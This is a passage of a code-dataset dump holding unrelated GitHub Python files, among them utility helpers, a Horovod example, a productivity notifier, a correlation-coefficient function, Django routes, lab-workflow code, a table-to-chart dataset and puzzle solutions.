sequence or a single value.\n\n    Returns:\n        a tuple of integers.\n    \"\"\"\n    if type(arr_like) is tuple:\n        return arr_like\n    elif type(arr_like) is int:\n        if arr_like == 0:\n            return tuple()\n        else:\n            return tuple((arr_like,))\n    elif arr_like is None:\n        return None,\n    else:\n        return tuple(arr_like)\n\n\ndef canonize_args_list(args: Tuple[Any], *, allow_empty: bool = False, cvt: Optional[Callable[[Any], Any]] = None) -> Tuple[Any]:\n    \"\"\"Convert the argument list to a tuple of values. This is useful to make unified interface for shape-related operations.\n\n    Example:\n        .. code-block:: python\n\n            def foo(*args):\n                args = canonize_args_list(args, allow_empty=True)\n                print(args)\n\n            foo(1, 2, 3)  # (1, 2, 3)\n            foo((1, 2, 3))  # (1, 2, 3)\n            foo(1)  # (1,)\n            foo()  # ()\n\n    Args:\n        args: the argument list.\n        allow_empty: whether to allow empty argument list.\n        cvt: a function to be applied to each element.\n    \"\"\"\n\n    if not allow_empty and not args:\n        raise TypeError('at least one argument must be provided')\n\n    if len(args) == 1 and isinstance(args[0], (list, tuple)):\n        args = args[0]\n    if cvt is not None:\n        args = tuple(map(cvt, args))\n    return args\n\n\nclass UniqueValueGetter(object):\n    \"\"\"A helper class to ensure that a value is unique.\n\n    Example:\n        .. code-block:: python\n\n            uvg = UniqueValueGetter()\n            uvg.set(1)\n            uvg.set(2)  # will raise ValueError\n            uvg.set(1)\n\n            print(uvg.get())  # 1\n    \"\"\"\n\n    def __init__(self, msg: str = 'Unique value checking failed', default: Any = None):\n        \"\"\"Initialize the UniqueValueGetter.\n\n        Args:\n            msg: the error message.\n            default: the default value.\n        \"\"\"\n        self._msg = msg\n        self._val = None\n        self._default = default\n\n    def set(self, v):\n        assert self._val is None or self._val == v, self._msg + ': expect={} got={}'.format(self._val, v)\n        self._val = v\n\n    def get(self):\n        return self._val or self._default\n\n","repo_name":"vacancy/Jacinle","sub_path":"jacinle/utils/argument.py","file_name":"argument.py","file_ext":"py","file_size_in_byte":5938,"program_lang":"python","lang":"en","doc_type":"code","stars":122,"dataset":"github-code","pt":"16"}
+{"seq_id":"27340261546","text":"\nimport numpy as np\nimport tensorflow as tf\nimport horovod.tensorflow as hvd\n\nhvd.init()\nsize = hvd.size()\nrank = hvd.rank()\n\ntensor = tf.Variable(np.array([1.0,1.0,1.0], dtype=np.float32) * rank, name = 'tensor')\nassign_op = tf.assign(tensor, np.array([99.0, 99.0, 99.0]))\n\n# An op which broadcasts all tensors on root rank to the same tensors\n# on all other Horovod processes.\nbroadcast_op = hvd.broadcast_global_variables(0)\n\n# The operation will not start until all processes are ready \n# to receive the tensor.\n\nwith tf.Session() as sess:\n\n    sess.run(tf.global_variables_initializer())\n    print(\"rank %d before broadcast: %s\" % (rank, sess.run(tensor)))\n\n    if rank == 0:\n        sess.run(assign_op)\n\n    sess.run(broadcast_op)\n    print(\"rank %d after broadcast: %s\" % (rank, sess.run(tensor)))\n    # => [99. 99. 99.]\n","repo_name":"asprenger/distributed-training-patterns","sub_path":"horovod/hvd_broadcast.py","file_name":"hvd_broadcast.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"16"}
+{"seq_id":"36541616551","text":"import logging\nimport threading\nimport time\nimport keyboard\n\nimport activity_log\nimport notification\nimport sound\nimport text_generator\n\nlogging.basicConfig(level=logging.DEBUG, format='%(threadName)s: %(message)s')\n\nstop = False  # スレッドの終了用\ninterval = 2  # 記録の間隔\nworking_state_list = [\"start\",\n                      \"terminate\",\n                      \"cheer\",\n                      \"praise\",\n                      \"idle\"]\nworking_state = \"idle\"\n\n\ndef log_activity_to_file(previous_program_list, current_program_list,\n                         skip_duplicate=True):\n    global working_state\n\n    # プログラムの起動と終了を検知\n    current_program_list = activity_log.get_all_windows()\n    started = activity_log.get_title_of_started_program(\n        previous_program_list=previous_program_list,\n        current_program_list=current_program_list)\n    terminated = activity_log.get_title_of_terminated_program(\n        previous_program_list=previous_program_list,\n        current_program_list=current_program_list)\n\n    if terminated:\n        working_state = \"terminate\"\n        title = terminated\n        state = \"T\"\n        activity_log.print_to_file(title, state)\n        event_notification.set()\n        event_voice.set()\n        \n    if started:\n        working_state = \"start\"\n        title = started\n        state = \"S\"\n        activity_log.print_to_file(title, state)\n        activity_log.set_start_word_num(title.split()[0])\n        event_voice.set()\n        event_notification.set()\n\n    working_time = activity_log.get_working_time_on_current_window(interval=2)\n    logging.debug(\"working_time: \" + str(working_time))\n    thresholds = [3600 for _ in range(8)]  # 1～8時間\n    for threshold in thresholds:\n        if threshold <= working_time < threshold + interval:\n            working_state = \"cheer\"\n            event_voice.set()\n            event_notification.set()\n\n    \n    # アクティブウィンドウの記録\n    title = activity_log.get_title_of_active_window(skip_duplicate)\n    state = \"A\"\n    if title:\n        activity_log.print_to_file(title, state)\n\n    title = activity_log.get_active_window_title() \n    if len(title.split()) < 2:\n        return \n    elif \".docx\" in title.split()[0] and title.split()[-1] == \"Word\":\n        start_word_num = activity_log.get_start_word_num()\n        finish_word_num = activity_log.get_finish_word_num(title.split()[0])\n        need_to_notify = notification.need_to_notify(start_word_num,finish_word_num)\n        if need_to_notify == True:\n            working_state = \"praise\"\n            event_notification.set()\n            event_voice.set()\n            \n\ndef worker_log(event_log):\n    \"\"\"ログ記録のためのworker\n    \"\"\"\n    previous_program_list = activity_log.get_all_windows()\n    while not stop:\n        # event.set が実行されるまで待機\n        event_log.wait()\n        event_log.clear()\n        logging.debug('logging start')\n\n        current_program_list = activity_log.get_all_windows()\n        log_activity_to_file(previous_program_list,\n                             current_program_list)\n        previous_program_list = current_program_list\n\n        logging.debug('logging end')\n\n\ndef worker_voice(event_voice):\n    \"\"\"音声再生のためのworker\n    \"\"\"\n    while not stop:\n        # event.set が実行されるまで待機\n        event_voice.wait()\n        event_voice.clear()\n        logging.debug('voice start')\n        text = text_generator.generate_text(working_state)\n        # time.sleep(3)\n        sound.play_sound(text)\n        logging.debug('voice end')\n\n\ndef worker_notification(event_notification):\n    \"\"\"通知のためのworker\n    \"\"\"\n    global working_state\n    while not stop:\n        # event.set が実行されるまで待機\n        event_notification.wait()\n        event_notification.clear()\n        logging.debug('notify start')\n        text = text_generator.generate_text(working_state)\n        img_path = notification.generate_path(working_state)\n        notification.notify(text, img_path)\n        logging.debug('notify end')\n        if working_state == \"praise\": \n            title = activity_log.get_active_window_title() \n            activity_log.set_start_word_num(title.split()[0])\n            working_state = \"idle\"\n\ndef worker_main(event_log, event_voice, event_notification):\n    \"\"\"処理の中心となるworker\n    \"\"\"\n    global stop\n    global working_state\n\n    logging.debug('start')\n    print(stop)\n    while not stop:\n        if keyboard.is_pressed(\"q\"):\n            logging.debug(\"q is pressed, program end\")\n            exit()\n            stop = True\n\n        time.sleep(interval)\n        event_log.set()\n        logging.debug(\"event_log.set()\")\n        logging.debug(\"working_state: \" + working_state)\n\n        need_to_play_voice = sound.need_to_sound()\n        if need_to_play_voice:\n            event_voice.set()\n            logging.debug(\"event_voice.set()\")\n\n        need_to_notify = notification.need_to_notify(-1,-1)\n        if need_to_notify:\n            event_notification.set()\n            logging.debug(\"event_notification.set()\")\n\n\nif __name__ == '__main__':\n    event_log = threading.Event()\n    event_voice = threading.Event()\n    event_notification = threading.Event()\n\n    thread_main = threading.Thread(\n        name=\"thread_main\",\n        target=worker_main,\n        args=(event_log, event_voice, event_notification, ))\n\n    # メインスレッド以外はすべてデーモン化\n    thread_log = threading.Thread(\n        name=\"thread_log\",\n        target=worker_log,\n        args=(event_log,))\n    thread_log.setDaemon(True)\n\n    thread_voice = threading.Thread(\n        name=\"thread_voice\",\n        target=worker_voice,\n        args=(event_voice,))\n    thread_voice.setDaemon(True)\n\n    thread_notification = threading.Thread(\n        name=\"thread_notification\",\n        target=worker_notification,\n        args=(event_notification,))\n    thread_notification.setDaemon(True)\n\n    thread_main.start()\n    thread_voice.start()\n    thread_notification.start()\n    thread_log.start()\n","repo_name":"jphacks/D_2016","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6090,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"38294186334","text":"import numbers\nimport numpy as np\n\n# import math\n\ndef pcc(x, y):\n\t\"\"\"\nComputes an estimate of the PCC between random variables X and Y\n\nFirst form:\n    Args:\n        x (list of N floats, N>1): N-points sample of random variable X\n        y (list of N floats, N>1): N-points sample of random variable Y\n    \n    Returns:\n        float: PCC estimate of random variables X and Y\n\n    Example:\n        import tr_pcc\n        ...\n        x = [0]*N                       # X sample\n        y = [0]*N                       # Y sample\n        p = 0                           # PCC estimate\n        for n in range (N):             # For N draws\n            x[n] = draw_X               # Draw random variable X\n            y[n] = draw_Y               # Draw random variable Y\n        p = tr_pcc.pcc (x,y)               # Compute PCC(X,Y) estimate\n        print (\"PCC(X,Y) = %lf\" % p)    # Print PCC estimate\n        ...\n\nSecond form:\n    Args:\n        x (list of N floats, N>1): N-points sample of random variable X\n        y (list of K lists of N floats, N>1): K different N-points\n            samples of random variables Y0,Y1,...,YK-1\n    \n    Returns:\n        list of K floats: PCC estimates of random variables X and Y0,\n            X and Y1,..., X and YK-1\n\n    Example:\n        import tr_pcc\n        ...\n        x = [0]*N                         # X sample\n        y = [[0]*N for k in range(K)]     # Yk samples, 0<=k<K\n        p = [0]*K                         # K PCC estimates\n        for n in range (N):               # For N draws\n            x[n] = draw_X                 # Draw random variable X\n            for k in range (K):           # For K random variables Yk\n                y[k][n] = draw_Y (k)      # Draw random variable Yk\n        p = tr_pcc.pcc (x,y)                 # Compute PCC(X,Yk) estimates, 0<=k<K\n        for k in range (K):               # For K PCC estimates\n            print (\"PCC(X,Y%d)=%lf\" % (k,p[k])) # Print PCC estimates\n        ...\n\nThird form:\n    Args:\n        x (list of N lists of L floats, N>1): N-points sample of vector random variable X\n        y (list of N floats, N>1): N-points sample of random variable Y\n    \n    Returns:\n        list of L floats: PCC estimate of random variables X and Y\n\n    Example:\n        import tr_pcc\n        ...\n        x = [[0]*L for n in range(N)]   # X sample\n        y = [0]*N                       # Y sample\n        p = [0]*L                       # PCC estimate\n        for n in range (N):             # For N draws\n            for l in range (L):         # For L components\n                x[n][l] = draw_X (l)    # Draw component of random variable X\n            y[n] = draw_Y               # Draw random variable Y\n        p = tr_pcc.pcc (x,y)               # Compute PCC(X,Y) estimate\n        for l in range (L):             # For L components\n\t\t\tprint (\"PCC(X,Y)[%d] = %lf\" % (l,p[l])) # Print component of PCC estimate\n        ...\n\nFourth form:\n    Args:\n        x (list of N lists of L floats, N>1): N-points sample of vector random variable X\n        y (list of K lists of N floats, N>1): K different N-points\n            samples of random variables Y0,Y1,...,YK-1\n    \n    Returns:\n        list of K lists of L floats: PCC estimates of random variables X and Y0,\n            X and Y1,..., X and YK-1\n\n    Example:\n        import tr_pcc\n        ...\n        x = [[0]*L for n in range(N)]   # X sample\n        y = [[0]*N for k in range(K)]   # Yk samples, 0<=k<K\n        p = [[0]*L for k in range(K)]   # PCC estimate\n        for n in range (N):             # For N draws\n            for l in range (L):         # For L components\n                x[n][l] = draw_X (l)    # Draw component of random variable X\n            for k in range (K):         # For K random variables Yk\n                y[k][n] = draw_Y (k)    # Draw random variable Yk\n        p = tr_pcc.pcc (x,y)               # Compute PCC(X,Y) estimate\n        for k in range (K):             # For K PCC estimates\n            for l in range (L):         # For L components\n\t\t\t    print (\"PCC(X,Y%d)[%d] = %lf\" % (k,l,p[k][l])) # Print component of PCC estimate\n        ...\n\nRaises:\n    TypeError: x,y lengths mismatch (first form)\n    TypeError: x,y-sub-lists lengths mismatch (second form)\n    TypeError: x not list of floats and not list of lists of floats\n    TypeError: y not list of floats and not list of lists of floats\n    ValueError: length of x < 2\n    ValueError: x variance estimate=0 (constant x?)\n    ValueError: y variance estimate=0 (constant y?)\n\nNote:\n    The second and fourth forms are equivalent to:\n        p = map(lambda z:tr_pcc.pcc(x,z),y)\n    but are much more efficient.\n\"\"\"\n\n\t# check types\n\tif not isinstance(x, list):\n\t\traise TypeError('X must be a list of numbers or a list of lists of numbers')\n\tif not isinstance(y, list):\n\t\traise TypeError('Y must be a list of numbers or a list of lists of numbers')\n\n\tx0 = len(x)\n\ty0 = len(y)\n\tif (x0 < 2):\n\t\traise ValueError('samples with less than 2 values are not supported')\n\n\tif all(isinstance(item, numbers.Number) for item in x):\n\t\tx1 = 0\n\telif all(isinstance(item, list) for item in x):\n\t\tx1 = len(x[0])\n\t\tif not all(len(item) == x1 for item in x):\n\t\t\traise TypeError('X realizations of different lengths are not supported')\n\t\tif not all(all(isinstance(item, numbers.Number) for item in row) for row in x):\n\t\t\traise TypeError('X must be a list of numbers or a list of lists of numbers')\n\n\tif all(isinstance(item, numbers.Number) for item in y):\n\t\ty1 = 0\n\telif all(isinstance(item, list) for item in y):\n\t\ty1 = len(y[0])\n\t\tif not all(len(item) == y1 for item in y):\n\t\t\traise TypeError('Y realizations of different lengths are not supported')\n\t\tif not all(all(isinstance(item, numbers.Number) for item in row) for row in y):\n\t\t\traise TypeError('Y must be a list of numbers or a list of lists of numbers')\n\n\tif (y1 == 0 and x0 != y0) or (y1 != 0 and x0 != y1):\n\t\t\traise TypeError('samples of different lengths are not supported')\n\n\txarray = np.asarray(x, dtype=np.float64)\n\tyarray = np.asarray(y, dtype=np.float64)\n\tif x1 == 0:\n\t\tsum_x = np.sum(xarray)\n\t\tsum_x2 = np.sum(xarray * xarray)\n\t\tstd_x = np.sqrt(x0 * sum_x2 - sum_x * sum_x)\n\t\tif std_x == 0.0:\n\t\t\traise ValueError('variance(X)=0')\n\telse:\n\t\tsum_x = np.sum(xarray, axis=0)\n\t\tsum_x2 = np.apply_along_axis(lambda t:sum(t * t), 0, xarray)\n\t\tstd_x = np.sqrt(x0 * sum_x2 - sum_x * sum_x)\n\t\tif any(item == 0.0 for item in std_x):\n\t\t\traise ValueError('variance(X)=0 at indexes ' + numpy.where(std_x == 0.0)[0])\n\tif y1 == 0:\n\t\tsum_y = np.sum(yarray)\n\t\tsum_y2 = np.sum(yarray * yarray)\n\t\tstd_y = np.sqrt(y0 * sum_y2 - sum_y * sum_y)\n\t\tif std_y == 0.0:\n\t\t\traise ValueError('variance(Y)=0')\n\telse:\n\t\tsum_y = np.sum(yarray, axis=1)\n\t\tsum_y2 = np.apply_along_axis(lambda t:sum(t * t), 1, yarray)\n\t\tstd_y = np.sqrt(y1 * sum_y2 - sum_y * sum_y)\n\t\tif any(item == 0.0 for item in std_y):\n\t\t\traise ValueError('variance(Y)=0 at indexes ' + numpy.where(std_y == 0.0)[0])\n\n\tsum_xy = np.dot(xarray.T, yarray.T)\n\tp = (x0 * sum_xy - np.outer(sum_x.T, sum_y)) / np.outer(std_x, std_y)\n\treturn p.T.tolist()\n\n# vim: set tabstop=4 softtabstop=4 shiftwidth=4 noexpandtab textwidth=0:\n","repo_name":"NKRABEH/SC_attacks","sub_path":"powerAttack/tr_pcc.py","file_name":"tr_pcc.py","file_ext":"py","file_size_in_byte":7133,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8175283915","text":"from django.conf.urls import url,include\nfrom .views import (newsfeed, shownewsfeed, sports,educational,headlines,globalss,world,social,\n    business,lifestyle,entertainment,newsfeeddescription,NewsapiViewSet,newsfeedsdetail)\n\nurlpatterns = [\n    url(r'^newsfeed/',newsfeed,name='newsfeed'),\n    url(r'^shownewsfeed/',shownewsfeed,name='shownewsfeed'),\n    url(r'^sports/',sports,name='sports'),\n    url(r'^educational/',educational,name='educational'),\n    url(r'^headlines/',headlines,name='headlines'),\n    url(r'^globalss/',globalss,name='globalss'),\n    url(r'^world/',world,name='world'),\n    url(r'^social/',social,name='social'),\n    url(r'^entertainment/',entertainment,name='entertainment'),\n    url(r'^business/',business,name='business'),\n    url(r'^lifestyle/',lifestyle,name='lifestyle'),\n    url(r'^(?P<pk>[\\-\\w]+)/newsfeeddescription/',newsfeeddescription,name='newsfeeddescription'),\n    url(r'^newsapi/',NewsapiViewSet.as_view({'get':'list'}),name='newsapi'),\n    url(r'^(?P<pk>[\\-\\w]+)/newsfeedsdetail/',newsfeedsdetail,name='newsfeedsdetail'),\n    ]","repo_name":"feederfox/FeederFox-Media","sub_path":"NewsFeeds/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"30691662601","text":"import sys\ninput = sys.stdin.readline\nfrom collections import deque\n\nn = int(input())\nlst = []\ncheck = [[0]*n for i in range(n)]\ncheckRG =[[0]*n for i in range(n)]\nanswer = 0\nanswerRG = 0\nfor i in range(n) :\n    arr = []\n    s = input()\n    for j in range(n) :\n        if s[j] == 'B' :\n            arr.append(0)\n        elif s[j] == 'R' :\n            arr.append(1)\n        else :\n            arr.append(2)\n    lst.append(arr)\n\ndx = [0, 0, 1, -1]\ndy = [1, -1, 0, 0]\nqueue = deque([])\nqueueRG = deque([])\n\nfor i in range(n) :\n    for j in range(n) :\n        if check[i][j] == 0 :\n            answer += 1\n            check[i][j] = answer\n            queue.append([i, j])\n\n            while queue :\n                x, y = queue.popleft()\n                # check[x][y] = answer\n                for l in range(4) :\n                    r = x + dx[l]\n                    c = y + dy[l]\n                    if r < 0 or r >= n or c < 0 or c >= n :\n                        continue\n                    if lst[x][y] == lst[r][c] and check[r][c] == 0:\n                        check[r][c] = answer\n                        queue.append([r,c])\n\n        if checkRG[i][j] == 0 :\n            answerRG += 1\n            checkRG[i][j] = answerRG\n            queueRG.append([i, j])\n\n            while queueRG :\n                x, y = queueRG.popleft()\n                # checkRG[x][y] = answerRG\n                for l in range(4) :\n                    r = x + dx[l]\n                    c = y + dy[l]\n                    if r < 0 or r >= n or c < 0 or c >= n :\n                        continue\n                    if checkRG[r][c] == 0:\n                        if ((lst[x][y] and lst[r][c]) or (not lst[x][y] and not lst[r][c])) :\n                            checkRG[r][c] = answerRG\n                            queueRG.append([r,c])\n\nprint(answer, answerRG)","repo_name":"SuperH0ng/algorithm","sub_path":"따로 푼 것/백준/백준 10026(적록색약).py","file_name":"백준 10026(적록색약).py","file_ext":"py","file_size_in_byte":1832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"34216751681","text":"numeros = []\ncont = 0\nesc = 's'\nwhile True:\n    n = int(input('Digite um valor: '))\n    if n not in numeros:\n        numeros.append(n)\n        print('Numero adicionado com sucesso..')\n    else:\n        print('Valor duplicado! Não vou adicionar.')\n    esc = input('Quer o continuar [s]SIM [n]NÃO: ').upper()\n    while esc not in 'sn':\n        print('Opção inválida!')\n        esc = input('Quer o continuar? [s]SIM [n]NÃO: ').upper()\n    if esc == 'n':\n        break\nprint('-='*20)\nprint(f'Os números validados digitados foram: {sorted(numeros)}')\n","repo_name":"GustaHenriPe/Exercicios-Python","sub_path":"PythonExercicios/ex079.py","file_name":"ex079.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"818873853","text":"from fms_core.template_importer.row_handlers._generic import GenericRowHandler\nfrom fms_core.template_importer._constants import LOAD_ALL\nfrom fms_core.services.sample import get_sample_from_container, prepare_library\nfrom fms_core.services.container import get_container, get_or_create_container\nfrom fms_core.services.index import get_index\nfrom fms_core.services.library import create_library\n\n\n\nclass LibraryRowHandler(GenericRowHandler):\n    def __init__(self):\n        super().__init__()\n\n    def process_row_inner(self, library_batch_info, source_sample, volume_used,\n                          comment, container, volume, index, strandedness, workflow):\n\n        if not library_batch_info:\n            self.errors['library_preparation'] = 'No batch is associated with this library.'\n\n        # Calling the service creator for Samples in LibraryPreparation\n        source_sample_obj, self.errors['container'], self.warnings['container'] = \\\n            get_sample_from_container(barcode=source_sample['barcode'], coordinates=source_sample['coordinates'])\n\n        if not volume_used:\n            self.errors['volume_used'] = f\"Volume used must be entered\"\n\n        if source_sample_obj:\n            # Set the actual volumed_used in case the load all option was used\n            volume_used = source_sample_obj.volume if volume_used == LOAD_ALL else volume_used\n\n            if volume_used > source_sample_obj.volume:\n                self.errors['volume_used'].append(f\"Volume used ({volume_used}) exceeds the current volume of the sample ({source_sample_obj.volume})\")\n\n            # Check if sample is not a library or a pool of libraries\n            if source_sample_obj.is_library:\n                self.errors['source_sample'] = f\"Source sample can't be a library or a pool of libraries.\"\n\n            # Add a warning if the sample has failed qc\n            if any([source_sample_obj.quality_flag is False, source_sample_obj.quantity_flag is False]):\n                self.warnings[\"qc_flags\"] = (\"Source sample {0} has failed QC.\", [source_sample_obj.name])\n\n            # Populate the libraries with the batch and  individual information\n            protocol = library_batch_info['protocol']\n            process_by_protocol = library_batch_info['process_by_protocol']\n\n            # Retrieve process\n            process_obj = process_by_protocol[protocol.id]\n\n            container_coordinates = container['coordinates']\n\n            container_parent_obj = None\n            if container['parent_barcode']:\n                container_parent_obj, self.errors['parent_container'], self.warnings['parent_container'] = \\\n                    get_container(barcode=container['parent_barcode'])\n\n            container_obj, created, self.errors['library_container'], self.warnings['library_container'] = get_or_create_container(\n                name=container['name'],\n                barcode=container['barcode'],\n                kind=container['kind'],\n                container_parent=container_parent_obj if container_parent_obj else None,\n                coordinates=container['parent_coordinates'] if container_parent_obj else None,\n                creation_comment=comment)\n\n            if container_obj and not created:\n                self.warnings['library_container'] = ('Using existing container {0}', [container_obj.name])\n\n            index_obj, self.errors['index'], self.warnings['index'] = get_index(index)\n\n            library_info = dict(\n                library_type=library_batch_info['library_type'],\n                library_date=library_batch_info['library_date'],\n                platform=library_batch_info['platform'],\n                index=index_obj,\n                strandedness=strandedness,\n            )\n\n            libraries_by_derived_sample = {}\n            for derived_sample_source in source_sample_obj.derived_samples.all():\n                library_obj, self.errors['library'], self.warnings['library'] = create_library(library_type=library_info['library_type'],\n                                                                                               index=index_obj,\n                                                                                               platform=library_info['platform'],\n                                                                                               strandedness=strandedness)\n                libraries_by_derived_sample[derived_sample_source.id] = library_obj\n\n            sample_destination, self.errors['library_preparation'], self.warnings['library_preparation'] = \\\n                prepare_library(process=process_obj,\n                                sample_source=source_sample_obj,\n                                container_destination=container_obj,\n                                libraries_by_derived_sample=libraries_by_derived_sample,\n                                volume_used=volume_used,\n                                execution_date=library_info['library_date'],\n                                coordinates_destination=container_coordinates,\n                                volume_destination=volume,\n                                comment=comment,\n                                workflow=workflow)\n        else:\n            self.errors['sample_source'] = 'Sample source is needed to prepare a library.'\n","repo_name":"c3g/freezeman","sub_path":"backend/fms_core/template_importer/row_handlers/library_preparation/library_preparation.py","file_name":"library_preparation.py","file_ext":"py","file_size_in_byte":5312,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"16"}
+{"seq_id":"42599886504","text":"from collections import defaultdict\nfrom typing import Optional, Tuple, Set, Iterable\n\nimport numpy as np\nimport torch\nfrom torch.utils.data import Dataset\nfrom torch.utils.data._utils.collate import default_collate\nfrom torch.utils.data._utils.pin_memory import pin_memory\n\nfrom .config import DataConfig\nfrom .dataset import DataTable, Chart\nfrom .sequence import Sequence, State\nfrom .special_tokens import SpecialTokens\nfrom .token import AnaType, Token\n\n\nclass ChartUserActions(Dataset):\n    __slots__ = \"chart\", \"seq_len\"\n\n    def __init__(self, cUID: str, ana_type: AnaType, idx_to_field: dict,\n                 config: DataConfig, search_sampling: bool):\n        # TODO: remove this try-catch. (Work item #63)\n        try:\n            self.chart = Chart(cUID, ana_type, idx_to_field, config, search_sampling)\n            self.seq_len = self.chart.seq_len()\n        except:\n            self.seq_len = 0\n\n    def __len__(self):\n        return len(self.chart.complete_states()) * (self.seq_len - 1)\n\n    def __getitem__(self, index) -> Tuple[State, Token]:\n        state_idx = index // (self.seq_len - 1)\n        state_len = index % (self.seq_len - 1) + 1\n        state = self.chart.states[state_idx].prefix(state_len)\n        action = self.chart.states[state_idx][state_len]\n        return state, action\n\n\nclass QValue:\n    __slots__ = 'state', 'actions', 'valid_mask', 'has_valid_action', 'values', 'n_fields'\n\n    def __init__(self, state: State, action_space: Sequence, valid_actions: Iterable[bool], action_values: Iterable):\n        \"\"\"\n        :param state: a token sequence describing the state\n        :param action_space: the whole action space (context), including invalid ones for the state\n        :param valid_actions: a bool list indicating if an action in the action_space is valid\n        :param action_values: 1 if the action leads to the final reward\n        \"\"\"\n        self.state = state\n        self.actions = action_space  # The field tokens should always be the first n_fields ones.\n        self.valid_mask = np.array(valid_actions)\n        self.has_valid_action = any(valid_actions)\n        self.values = np.array(action_values)\n        self.n_fields = action_space.num_fields()\n\n    def __hash__(self) -> int:\n        return hash(self.state)\n\n    def __len__(self):\n        return len(self.state)\n\n    def __copy__(self):\n        return QValue(self.state, self.actions, self.valid_mask, self.values)\n\n    def to_dict(self, state_len: int, action_len: int, field_permutation: bool, config: DataConfig):\n        # Necessary preparations for \"values\" tensor\n        values = self.values.copy()\n        values[np.logical_not(self.valid_mask)] = -1  # Only 0, 1 for valid actions\n        if field_permutation:  # randomly permute field order in a table\n            permutation = np.random.permutation(self.n_fields)\n            values[:self.n_fields] = values[permutation]  # we only need to focus on the field tokens\n        else:\n            permutation = None\n\n        return {\n            \"state\": self.state.to_dict(state_len, permutation, config.need_field_indices, False, config),\n            \"actions\": self.actions.to_dict(action_len, permutation, False, True, config),\n            \"values\": torch.tensor(np.pad(values, (0, action_len - len(values)), mode='constant', constant_values=-1),\n                                   dtype=torch.long)\n        }\n\n    @staticmethod\n    def collate(batch, config: DataConfig, field_permutation: bool, pin: bool = False):\n        state_len = max(map(lambda x: len(x.state), batch))\n        action_len = max(map(lambda x: len(x.actions), batch))\n\n        batch = default_collate([x.to_dict(state_len, action_len, field_permutation, config) for x in batch])\n        return pin_memory(batch) if pin else batch\n\n\ndef determine_action_values(action_space: Sequence, positive_actions: Optional[Set[Token]]):\n    if positive_actions:\n        return [1 if action in positive_actions else 0 for action in action_space]\n    else:\n        return [0] * len(action_space)\n\n\nclass TableQValues(Dataset):\n    def __init__(self, tUID: str, special_tokens: SpecialTokens, config: DataConfig, search_sampling: bool = False):\n        self.table = DataTable(tUID, special_tokens, config)\n\n        self.complete_states = set()\n        # Merge the samples from the Charts with specified types in config\n        self.state_actions = defaultdict(set)\n\n        self.valid_c = 0\n        for cUID, cType in zip(self.table.cUIDs, self.table.cTypes):\n            if cType not in config.input_types:\n                continue\n            chart = ChartUserActions(cUID, cType, self.table.idx2field, config, search_sampling)\n            if chart.seq_len == 0:\n                continue\n\n            for state, action in chart:\n                self.state_actions[state].add(action)\n            chart_complete_states = chart.chart.complete_states()\n            if search_sampling:\n                self.complete_states.update(chart_complete_states)\n            if len(chart_complete_states) > 0:\n                self.valid_c += 1\n\n        self.samples = list(self.state_actions.items())\n\n    def __len__(self):\n        return len(self.samples)\n\n    def __getitem__(self, index) -> QValue:\n        state, positive_actions = self.samples[index]\n        valid_actions = state.valid_actions(self.table.action_space, top_freq_func=self.table.config.top_freq_func)\n        action_values = determine_action_values(self.table.action_space, positive_actions)\n\n        return QValue(state, self.table.action_space, valid_actions, action_values)\n\n    def get_state_actions(self):\n        return self.state_actions\n\n    def get_positive_prefixes(self):\n        return self.complete_states | self.get_state_actions().keys()\n","repo_name":"Table2Charts/Table2Charts","sub_path":"Table2Charts/data/qvalues.py","file_name":"qvalues.py","file_ext":"py","file_size_in_byte":5746,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"1136527697","text":"import math\ninput = open(\"3/input.txt\").read().split(\"\\n\")\nexample = open(\"3/example.txt\").read().split(\"\\n\")\nhax = open(\"3/hax.txt\").read().split(\"\\n\")\n\n#input = [x.split(\" \") for x in input]\n\n\n\ndef part1(list):\n    gamma = []\n    epsilon = []\n    \n    for i in range(len(list[0])):\n        ones = 0\n        zeros = 0\n        for row in list:\n            if int(row[i]) == 1:\n                ones +=1\n            else:\n                zeros +=1\n        most = 1 if ones > zeros else 0\n        least = 0 if ones > zeros else 1\n        gamma.append(most)\n        epsilon.append(least)\n   \n    g = int(\"\".join(map(str,gamma)),2)\n    e = int(\"\".join(map(str,epsilon)),2)\n    # print(gamma,epsilon)\n    # g = 0\n    # e = 0\n    # gamma.reverse()\n    # epsilon.reverse()\n    # for i in range(len(gamma)):\n    #     g += gamma[i] * (2**i)\n    #     e += epsilon[i]*(2**i)\n    # print(int(t,2) * int(y,2))\n\n    return g*e\n\n\n\ndef part2(list):\n    oxygen = 0\n    co2 = 0\n\n    oxygen_list = [x for x in list]\n    co2_list = [x for x in list]\n    \n    for i in range(len(list[0])):        \n        ox_ones = 0\n        ox_zeros = 0\n        co2_ones = 0\n        co2_zeros = 0\n\n        for row in oxygen_list:\n            if int(row[i]) == 1:\n                ox_ones +=1\n            else:\n                ox_zeros +=1\n        for row in co2_list:\n            if int(row[i]) == 1:\n                co2_ones +=1\n            else:\n                co2_zeros +=1\n        most = 1 if ox_ones >= ox_zeros else 0\n        least = 0 if co2_ones >= co2_zeros else 1\n        #filter \n        if(len(oxygen_list) != 1):\n            oxygen_list = [x for x in oxygen_list if int(x[i])==most]\n        if(len(co2_list) != 1):\n            co2_list = [x for x in co2_list if int(x[i])==least]\n        if (len(co2_list) == 1 and len(oxygen_list) == 1):\n            break\n\n    #reverse string\n\n    oxygen = int(\"\".join(oxygen_list),2)\n    co2 = int(\"\".join(co2_list),2)\n\n    \n    return(oxygen * co2)\n\nprint(f\"mine part 1: {part1(input)}\")\nprint(f\"hax part 1: {part1(hax)}\")\nprint(f\"mine part 2: {part2(input)}\")\nprint(f\"example part 2: 